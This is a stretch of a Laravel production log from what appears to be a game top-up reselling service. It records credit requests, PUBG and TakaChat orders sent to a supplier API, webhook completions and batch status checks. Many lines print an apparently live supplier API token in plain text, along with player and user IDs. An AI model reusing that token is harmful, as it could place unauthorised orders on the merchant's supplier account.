[2026-03-24 17:50:27] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"650.0","mainamount":"650","operation_number":"158515207","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php90rgm5i83oaq7EdACum"}},"user_id":1258} 
[2026-03-24 17:50:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 17:50:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 17:50:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 17:50:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 17:50:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 17:50:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 17:50:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 17:50:28] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 17:50:28] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18659,"user_id":1258,"amount":650.0,"admins_notified":7} 
[2026-03-24 17:50:57] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 17:50:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 5  
[2026-03-24 17:50:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 17:51:12] production.INFO: Constructing job for order: 179046  
[2026-03-24 17:51:13] production.INFO: Handling job for order: 179046  
[2026-03-24 17:51:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:51:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:51:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=241cd43e-cb40-4a07-bf24-1af6017d7e8f&Player_ID=52318428627  
[2026-03-24 17:51:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=241cd43e-cb40-4a07-bf24-1af6017d7e8f&Player_ID=52318428627","has_body":false} 
[2026-03-24 17:51:14] production.INFO: Operation sent successfully {"operation_id":163951,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-7Md6yZ-1774363873","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:51:14"}},"processed_data":{"order_number":"ORD-7Md6yZ-1774363873","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:51:32] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-7Md6yZ-1774363873","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:51:32] production.INFO: Processed webhook data (normalized) {"id":"ORD-7Md6yZ-1774363873","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:51:32] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:51:32] production.INFO: SendAcceptReject: Notification queued {"user_id":1242,"notification_type":"order_approved","reference_id":179046} 
[2026-03-24 17:51:32] production.INFO: Order updated successfully. Order ID: 179046, Status: completed  
[2026-03-24 17:51:32] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-7Md6yZ-1774363873","status":"completed","codes_count":0} 
[2026-03-24 17:51:32] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1242  
[2026-03-24 17:51:47] production.INFO: SendAcceptReject: Notification queued {"user_id":1258,"notification_type":"request_approved","reference_id":18659} 
[2026-03-24 17:51:50] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1258  
[2026-03-24 17:51:58] production.INFO: Constructing job for order: 179047  
[2026-03-24 17:51:59] production.INFO: Handling job for order: 179047  
[2026-03-24 17:51:59] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:51:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:51:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a244b5f1-7ca2-478e-80ad-28f26c0871ee&Player_ID=52000615050  
[2026-03-24 17:51:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=a244b5f1-7ca2-478e-80ad-28f26c0871ee&Player_ID=52000615050","has_body":false} 
[2026-03-24 17:52:00] production.INFO: Operation sent successfully {"operation_id":163952,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-K1TX9YH-1774363919","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:52:00"}},"processed_data":{"order_number":"ORD-K1TX9YH-1774363919","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 17:52:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-okH1j0K-1774363815","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:52:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-okH1j0K-1774363815","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:52:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:52:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1512,"notification_type":"order_approved","reference_id":179044} 
[2026-03-24 17:52:03] production.INFO: Order updated successfully. Order ID: 179044, Status: completed  
[2026-03-24 17:52:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-okH1j0K-1774363815","status":"completed","codes_count":0} 
[2026-03-24 17:52:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03"} 
[2026-03-24 17:52:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","total_operations":4,"sites_count":1} 
[2026-03-24 17:52:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-j5G7ZL-1774360319","ORD-1oq25O7i-1774363745","ORD-vK2wOz-1774363824","ORD-K1TX9YH-1774363919"]} 
[2026-03-24 17:52:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:52:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 17:52:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:52:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-K1TX9YH-1774363919","operation_id":163952} 
[2026-03-24 17:52:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vK2wOz-1774363824","operation_id":163950} 
[2026-03-24 17:52:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vK2wOz-1774363824","operation_id":163950,"processed":1,"skipped":3,"updates_prepared":1} 
[2026-03-24 17:52:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vK2wOz-1774363824","operation_id":163950,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 17:52:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vK2wOz-1774363824","operation_id":163950,"count":1} 
[2026-03-24 17:52:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vK2wOz-1774363824","operation_id":163950,"count":1} 
[2026-03-24 17:52:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vK2wOz-1774363824","operation_id":163950,"user_id":32,"notification_type":"order_approved","reference_id":179042} 
[2026-03-24 17:52:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vK2wOz-1774363824","operation_id":163950,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 17:52:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vK2wOz-1774363824","operation_id":163950,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 17:52:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vK2wOz-1774363824","operation_id":163950,"processed":1,"errors":0} 
[2026-03-24 17:52:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vK2wOz-1774363824","operation_id":163950,"processed":1,"errors":0} 
[2026-03-24 17:52:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"20uQxiJP5X0EeABQlojcMadocoZ3VTnI","execution_time":"2026-03-24 17:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vK2wOz-1774363824","operation_id":163950} 
[2026-03-24 17:52:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1512  
[2026-03-24 17:52:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 32  
[2026-03-24 17:52:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-1oq25O7i-1774363745","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:52:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-1oq25O7i-1774363745","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:52:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:52:03] production.ERROR: Order not found or already processed. External ID: ORD-1oq25O7i-1774363745  
[2026-03-24 17:52:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-1oq25O7i-1774363745","status":"completed","codes_count":0} 
[2026-03-24 17:52:11] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-K1TX9YH-1774363919","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:52:11] production.INFO: Processed webhook data (normalized) {"id":"ORD-K1TX9YH-1774363919","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:52:11] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:52:11] production.INFO: SendAcceptReject: Notification queued {"user_id":1028,"notification_type":"order_approved","reference_id":179047} 
[2026-03-24 17:52:11] production.INFO: Order updated successfully. Order ID: 179047, Status: completed  
[2026-03-24 17:52:11] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-K1TX9YH-1774363919","status":"completed","codes_count":0} 
[2026-03-24 17:52:12] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1028  
[2026-03-24 17:53:10] production.INFO: Constructing job for order: 179049  
[2026-03-24 17:53:12] production.INFO: Handling job for order: 179049  
[2026-03-24 17:53:12] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:53:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:53:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=49500&uuid=bebfced9-1fd0-42e1-811f-20d3dc2e23fb&Player_ID=991000  
[2026-03-24 17:53:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=49500&uuid=bebfced9-1fd0-42e1-811f-20d3dc2e23fb&Player_ID=991000","has_body":false} 
[2026-03-24 17:53:13] production.INFO: Operation sent successfully {"operation_id":163953,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-xZFMwOGr-1774363992","amount":4.98962474999999994196286934311501681804656982421875,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 17:53:13"}},"processed_data":{"order_number":"ORD-xZFMwOGr-1774363992","amount":4.98962474999999994196286934311501681804656982421875,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 17:53:17] production.INFO: Constructing job for order: 179050  
[2026-03-24 17:53:19] production.INFO: Handling job for order: 179050  
[2026-03-24 17:53:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:53:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:53:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=50db5d0b-ee81-4449-9d3c-794409e45a2e&Player_ID=52000615050  
[2026-03-24 17:53:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=50db5d0b-ee81-4449-9d3c-794409e45a2e&Player_ID=52000615050","has_body":false} 
[2026-03-24 17:53:19] production.INFO: Operation sent successfully {"operation_id":163954,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-BCD2E-1774363999","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:53:19"}},"processed_data":{"order_number":"ORD-BCD2E-1774363999","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 17:53:32] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-BCD2E-1774363999","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:53:32] production.INFO: Processed webhook data (normalized) {"id":"ORD-BCD2E-1774363999","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:53:32] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:53:32] production.INFO: SendAcceptReject: Notification queued {"user_id":1028,"notification_type":"order_approved","reference_id":179050} 
[2026-03-24 17:53:32] production.INFO: Order updated successfully. Order ID: 179050, Status: completed  
[2026-03-24 17:53:32] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-BCD2E-1774363999","status":"completed","codes_count":0} 
[2026-03-24 17:53:32] production.INFO: Constructing job for order: 179051  
[2026-03-24 17:53:34] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1028  
[2026-03-24 17:53:34] production.INFO: Handling job for order: 179051  
[2026-03-24 17:53:34] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:53:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:53:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=1009ceee-37b7-4c41-a3f4-48a4429ac7a1&Player_ID=52316670230  
[2026-03-24 17:53:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=1009ceee-37b7-4c41-a3f4-48a4429ac7a1&Player_ID=52316670230","has_body":false} 
[2026-03-24 17:53:35] production.INFO: Constructing job for order: 179052  
[2026-03-24 17:53:35] production.INFO: Operation sent successfully {"operation_id":163955,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-PNFHS9-1774364015","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:53:35"}},"processed_data":{"order_number":"ORD-PNFHS9-1774364015","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 17:53:38] production.INFO: Handling job for order: 179052  
[2026-03-24 17:53:38] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:53:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:53:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=2e481874-7cda-458e-ad9c-9c77b751f919&Player_ID=52316670230  
[2026-03-24 17:53:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=2e481874-7cda-458e-ad9c-9c77b751f919&Player_ID=52316670230","has_body":false} 
[2026-03-24 17:53:39] production.INFO: Operation sent successfully {"operation_id":163956,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-RYz-1774364019","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:53:39"}},"processed_data":{"order_number":"ORD-RYz-1774364019","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:53:53] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-PNFHS9-1774364015","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:53:53] production.INFO: Processed webhook data (normalized) {"id":"ORD-PNFHS9-1774364015","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:53:53] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:53:53] production.INFO: SendAcceptReject: Notification queued {"user_id":93,"notification_type":"order_approved","reference_id":179051} 
[2026-03-24 17:53:53] production.INFO: Order updated successfully. Order ID: 179051, Status: completed  
[2026-03-24 17:53:53] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-PNFHS9-1774364015","status":"completed","codes_count":0} 
[2026-03-24 17:53:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 93  
[2026-03-24 17:53:56] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-RYz-1774364019","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:53:56] production.INFO: Processed webhook data (normalized) {"id":"ORD-RYz-1774364019","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:53:56] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:53:56] production.INFO: SendAcceptReject: Notification queued {"user_id":93,"notification_type":"order_approved","reference_id":179052} 
[2026-03-24 17:53:56] production.INFO: Order updated successfully. Order ID: 179052, Status: completed  
[2026-03-24 17:53:56] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-RYz-1774364019","status":"completed","codes_count":0} 
[2026-03-24 17:53:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 93  
[2026-03-24 17:54:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"YEZcqzhfZECVWlnuP2IxU3wRCRsxZ36k","execution_time":"2026-03-24 17:54:03"} 
[2026-03-24 17:54:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"YEZcqzhfZECVWlnuP2IxU3wRCRsxZ36k","execution_time":"2026-03-24 17:54:03","total_operations":3,"sites_count":1} 
[2026-03-24 17:54:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"YEZcqzhfZECVWlnuP2IxU3wRCRsxZ36k","execution_time":"2026-03-24 17:54:03","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-j5G7ZL-1774360319","ORD-vK2wOz-1774363824","ORD-xZFMwOGr-1774363992"]} 
[2026-03-24 17:54:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"YEZcqzhfZECVWlnuP2IxU3wRCRsxZ36k","execution_time":"2026-03-24 17:54:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:54:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"YEZcqzhfZECVWlnuP2IxU3wRCRsxZ36k","execution_time":"2026-03-24 17:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 17:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YEZcqzhfZECVWlnuP2IxU3wRCRsxZ36k","execution_time":"2026-03-24 17:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YEZcqzhfZECVWlnuP2IxU3wRCRsxZ36k","execution_time":"2026-03-24 17:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vK2wOz-1774363824","operation_id":163950} 
[2026-03-24 17:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"YEZcqzhfZECVWlnuP2IxU3wRCRsxZ36k","execution_time":"2026-03-24 17:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xZFMwOGr-1774363992","operation_id":163953} 
[2026-03-24 17:54:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"YEZcqzhfZECVWlnuP2IxU3wRCRsxZ36k","execution_time":"2026-03-24 17:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xZFMwOGr-1774363992","operation_id":163953,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 17:54:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"YEZcqzhfZECVWlnuP2IxU3wRCRsxZ36k","execution_time":"2026-03-24 17:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xZFMwOGr-1774363992","operation_id":163953,"processed":0,"errors":0} 
[2026-03-24 17:54:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"YEZcqzhfZECVWlnuP2IxU3wRCRsxZ36k","execution_time":"2026-03-24 17:54:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-xZFMwOGr-1774363992","operation_id":163953} 
[2026-03-24 17:54:37] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200","operation_number":"158519531","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpn2rj6udslb3e1uWdvp5"}},"user_id":568} 
[2026-03-24 17:54:38] production.INFO: Constructing job for order: 179053  
[2026-03-24 17:54:38] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vK2wOz-1774363824","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:54:38] production.INFO: Processed webhook data (normalized) {"id":"ORD-vK2wOz-1774363824","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:54:38] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:54:38] production.INFO: SendAcceptReject: Notification queued {"user_id":1609,"notification_type":"order_approved","reference_id":179045} 
[2026-03-24 17:54:38] production.INFO: Order updated successfully. Order ID: 179045, Status: completed  
[2026-03-24 17:54:38] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vK2wOz-1774363824","status":"completed","codes_count":0} 
[2026-03-24 17:54:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 17:54:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 17:54:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 17:54:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 17:54:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 17:54:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 17:54:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 17:54:39] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 17:54:39] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18660,"user_id":568,"amount":1200.0,"admins_notified":7} 
[2026-03-24 17:54:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1609  
[2026-03-24 17:54:39] production.INFO: Handling job for order: 179053  
[2026-03-24 17:54:39] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:54:39] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:54:39] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b9474e73-9e9b-4994-9349-4c07aa5df28b&Player_ID=52316670230  
[2026-03-24 17:54:39] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=b9474e73-9e9b-4994-9349-4c07aa5df28b&Player_ID=52316670230","has_body":false} 
[2026-03-24 17:54:40] production.INFO: Operation sent successfully {"operation_id":163957,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-beCMCzIg-1774364080","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 17:54:40"}},"processed_data":{"order_number":"ORD-beCMCzIg-1774364080","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 17:54:53] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-beCMCzIg-1774364080","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:54:53] production.INFO: Processed webhook data (normalized) {"id":"ORD-beCMCzIg-1774364080","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:54:53] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:54:53] production.INFO: SendAcceptReject: Notification queued {"user_id":93,"notification_type":"order_approved","reference_id":179053} 
[2026-03-24 17:54:53] production.INFO: Order updated successfully. Order ID: 179053, Status: completed  
[2026-03-24 17:54:53] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-beCMCzIg-1774364080","status":"completed","codes_count":0} 
[2026-03-24 17:54:55] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 93  
[2026-03-24 17:55:04] production.INFO: Executing GetProducts task...  
[2026-03-24 17:55:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 17:55:04] production.INFO: Executing GetProducts task...  
[2026-03-24 17:55:06] production.INFO: async() رجع: true  
[2026-03-24 17:55:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 17:55:07] production.WARNING: Product with ID 395 not found  
[2026-03-24 17:55:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 17:55:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 17:55:07] production.WARNING: Product with ID 211 not found  
